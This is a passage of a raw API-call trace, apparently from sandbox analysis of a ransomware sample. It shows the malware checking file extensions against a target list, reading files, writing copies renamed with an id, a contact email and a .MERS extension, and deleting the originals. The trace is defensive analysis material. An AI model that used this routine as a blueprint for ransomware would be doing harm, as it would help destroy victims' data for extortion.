lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.447] lstrlenW (lpString=".xlsx") returned 5 [0051.448] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.448] lstrlenW (lpString=".ppt") returned 4 [0051.448] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.448] lstrlenW (lpString=".zip") returned 4 [0051.448] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString=".rar") returned 4 [0051.448] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString=".bz2") returned 4 [0051.448] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.448] lstrlenW (lpString=".7z") returned 3 [0051.448] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.448] lstrlenW (lpString=".dbf") returned 4 [0051.448] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.448] lstrlenW (lpString=".1cd") returned 4 [0051.448] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.448] lstrlenW (lpString=".jpg") returned 4 [0051.448] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.448] lstrlenW (lpString=".doc") returned 4 [0051.448] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString=".docx") returned 5 [0051.448] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.448] lstrlenW (lpString=".pdf") returned 4 [0051.448] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString=".xls") returned 4 [0051.448] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.448] lstrlenW (lpString=".xlsx") returned 5 [0051.448] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.449] lstrlenW (lpString=".ppt") returned 4 [0051.449] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.449] lstrlenW (lpString=".zip") returned 4 [0051.449] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.449] lstrlenW (lpString=".rar") returned 4 [0051.449] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.449] lstrlenW (lpString=".bz2") returned 4 [0051.449] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.449] lstrlenW (lpString=".7z") returned 3 [0051.449] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.449] lstrlenW (lpString=".dbf") returned 4 [0051.449] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.449] lstrlenW (lpString=".1cd") returned 4 [0051.449] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.449] lstrlenW (lpString=".jpg") returned 4 [0051.449] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.450] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0051.450] lstrlenW (lpString="VBOB6.CHM") returned 9 [0051.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.450] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=123956) returned 1 [0051.450] CloseHandle (hObject=0x220) returned 1 [0051.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0051.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.451] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.451] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.451] GetLastError () returned 0x0 [0051.451] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0051.860] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0051.863] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.863] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.863] SetEndOfFile (hFile=0x1ec) returned 1 [0051.863] CloseHandle (hObject=0x1ec) returned 1 [0051.864] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.864] SetEndOfFile (hFile=0x220) returned 1 [0051.865] CloseHandle (hObject=0x220) returned 1 [0051.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0051.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.866] lstrlenW (lpString=".doc") returned 4 [0051.866] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.866] lstrlenW (lpString=".docx") returned 5 [0051.866] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.866] lstrlenW (lpString=".pdf") returned 4 [0051.866] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.866] lstrlenW (lpString=".xls") returned 4 [0051.866] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.866] lstrlenW (lpString=".xlsx") returned 5 [0051.866] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.866] lstrlenW (lpString=".ppt") returned 4 [0051.866] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.866] lstrlenW (lpString=".zip") returned 4 [0051.866] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.866] lstrlenW (lpString=".rar") returned 4 [0051.866] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString=".bz2") returned 4 [0051.867] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.867] lstrlenW (lpString=".7z") returned 3 [0051.867] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.867] lstrlenW (lpString=".dbf") returned 4 [0051.867] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.867] lstrlenW (lpString=".1cd") returned 4 [0051.867] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.867] lstrlenW (lpString=".jpg") returned 4 [0051.867] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.867] lstrlenW (lpString=".doc") returned 4 [0051.867] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString=".docx") returned 5 [0051.867] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.867] lstrlenW (lpString=".pdf") returned 4 [0051.867] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString=".xls") returned 4 [0051.867] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString=".xlsx") returned 5 [0051.867] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.867] lstrlenW (lpString=".ppt") returned 4 [0051.867] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.867] lstrlenW (lpString=".zip") returned 4 [0051.868] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.868] lstrlenW (lpString=".rar") returned 4 [0051.868] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.868] lstrlenW (lpString=".bz2") returned 4 [0051.868] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.868] lstrlenW (lpString=".7z") returned 3 [0051.868] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.868] lstrlenW (lpString=".dbf") returned 4 [0051.868] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.868] lstrlenW (lpString=".1cd") returned 4 [0051.868] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.868] lstrlenW (lpString=".jpg") returned 4 [0051.868] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.868] lstrcmpiW (lpString1=".inc", lpString2=".MERS") returned -1 [0051.868] lstrlenW (lpString="adojavas.inc") returned 12 [0051.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.886] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=14610) returned 1 [0051.886] CloseHandle (hObject=0x1fc) returned 1 [0051.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0051.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.887] lstrlenW (lpString=".doc") returned 4 [0051.887] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.887] lstrlenW (lpString=".docx") returned 5 [0051.887] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.887] lstrlenW (lpString=".pdf") returned 4 [0051.887] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.887] lstrlenW (lpString=".xls") returned 4 [0051.887] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.887] lstrlenW (lpString=".xlsx") returned 5 [0051.887] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.887] lstrlenW (lpString=".ppt") returned 4 [0051.887] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.887] lstrlenW (lpString=".zip") returned 4 [0051.887] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.887] lstrlenW (lpString=".rar") returned 4 [0051.887] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.887] lstrlenW (lpString=".bz2") returned 4 [0051.887] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.887] lstrlenW (lpString=".7z") returned 3 [0051.887] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.887] lstrlenW (lpString=".dbf") returned 4 [0051.887] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.887] lstrlenW (lpString=".1cd") returned 4 [0051.887] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.887] lstrlenW (lpString=".jpg") returned 4 [0051.887] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.888] lstrlenW (lpString=".doc") returned 4 [0051.888] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.888] lstrlenW (lpString=".docx") returned 5 [0051.888] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.888] lstrlenW (lpString=".pdf") returned 4 [0051.888] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.888] lstrlenW (lpString=".xls") returned 4 [0051.888] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.888] lstrlenW (lpString=".xlsx") returned 5 [0051.888] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.888] lstrlenW (lpString=".ppt") returned 4 [0051.888] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.888] lstrlenW (lpString=".zip") returned 4 [0051.888] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.888] lstrlenW (lpString=".rar") returned 4 [0051.888] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.888] lstrlenW (lpString=".bz2") returned 4 [0051.888] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.888] lstrlenW (lpString=".7z") returned 3 [0051.888] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.888] lstrlenW (lpString=".dbf") returned 4 [0051.888] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.888] lstrlenW (lpString=".1cd") returned 4 [0051.889] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0051.889] lstrlenW (lpString=".jpg") returned 4 [0051.889] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.889] lstrcmpiW (lpString1=".inc", lpString2=".MERS") returned -1 [0051.889] lstrlenW (lpString="adcvbs.inc") returned 10 [0051.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.893] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=623) returned 1 [0051.893] CloseHandle (hObject=0x1fc) returned 1 [0051.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0051.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.893] lstrlenW (lpString=".doc") returned 4 [0051.893] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.893] lstrlenW (lpString=".docx") returned 5 [0051.894] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.894] lstrlenW (lpString=".pdf") returned 4 [0051.894] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.894] lstrlenW (lpString=".xls") returned 4 [0051.894] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.894] lstrlenW (lpString=".xlsx") returned 5 [0051.894] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.894] lstrlenW (lpString=".ppt") returned 4 [0051.894] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.894] lstrlenW (lpString=".zip") returned 4 [0051.894] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.894] lstrlenW (lpString=".rar") returned 4 [0051.894] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.894] lstrlenW (lpString=".bz2") returned 4 [0051.894] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.894] lstrlenW (lpString=".7z") returned 3 [0051.894] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.894] lstrlenW (lpString=".dbf") returned 4 [0051.894] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.894] lstrlenW (lpString=".1cd") returned 4 [0051.894] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.894] lstrlenW (lpString=".jpg") returned 4 [0051.894] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.895] lstrlenW (lpString=".doc") returned 4 [0051.895] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.895] lstrlenW (lpString=".docx") returned 5 [0051.895] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.895] lstrlenW (lpString=".pdf") returned 4 [0051.895] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.895] lstrlenW (lpString=".xls") returned 4 [0051.895] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.895] lstrlenW (lpString=".xlsx") returned 5 [0051.895] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.895] lstrlenW (lpString=".ppt") returned 4 [0051.895] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.895] lstrlenW (lpString=".zip") returned 4 [0051.895] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.895] lstrlenW (lpString=".rar") returned 4 [0051.895] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.895] lstrlenW (lpString=".bz2") returned 4 [0051.895] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.895] lstrlenW (lpString=".7z") returned 3 [0051.895] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.895] lstrlenW (lpString=".dbf") returned 4 [0051.895] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.895] lstrlenW (lpString=".1cd") returned 4 [0051.895] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0051.895] lstrlenW (lpString=".jpg") returned 4 [0051.895] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.896] lstrcmpiW (lpString1=".inc", lpString2=".MERS") returned -1 [0051.896] lstrlenW (lpString="oledbvbs.inc") returned 12 [0051.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.903] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=9975) returned 1 [0051.904] CloseHandle (hObject=0x1fc) returned 1 [0051.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0051.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.904] lstrlenW (lpString=".doc") returned 4 [0051.904] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.904] lstrlenW (lpString=".docx") returned 5 [0051.904] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.904] lstrlenW (lpString=".pdf") returned 4 [0051.904] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.904] lstrlenW (lpString=".xls") returned 4 [0051.904] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.904] lstrlenW (lpString=".xlsx") returned 5 [0051.904] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.904] lstrlenW (lpString=".ppt") returned 4 [0051.904] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.904] lstrlenW (lpString=".zip") returned 4 [0051.904] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.904] lstrlenW (lpString=".rar") returned 4 [0051.905] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.905] lstrlenW (lpString=".bz2") returned 4 [0051.905] lstrcmpiW (lpString1=".bz2", 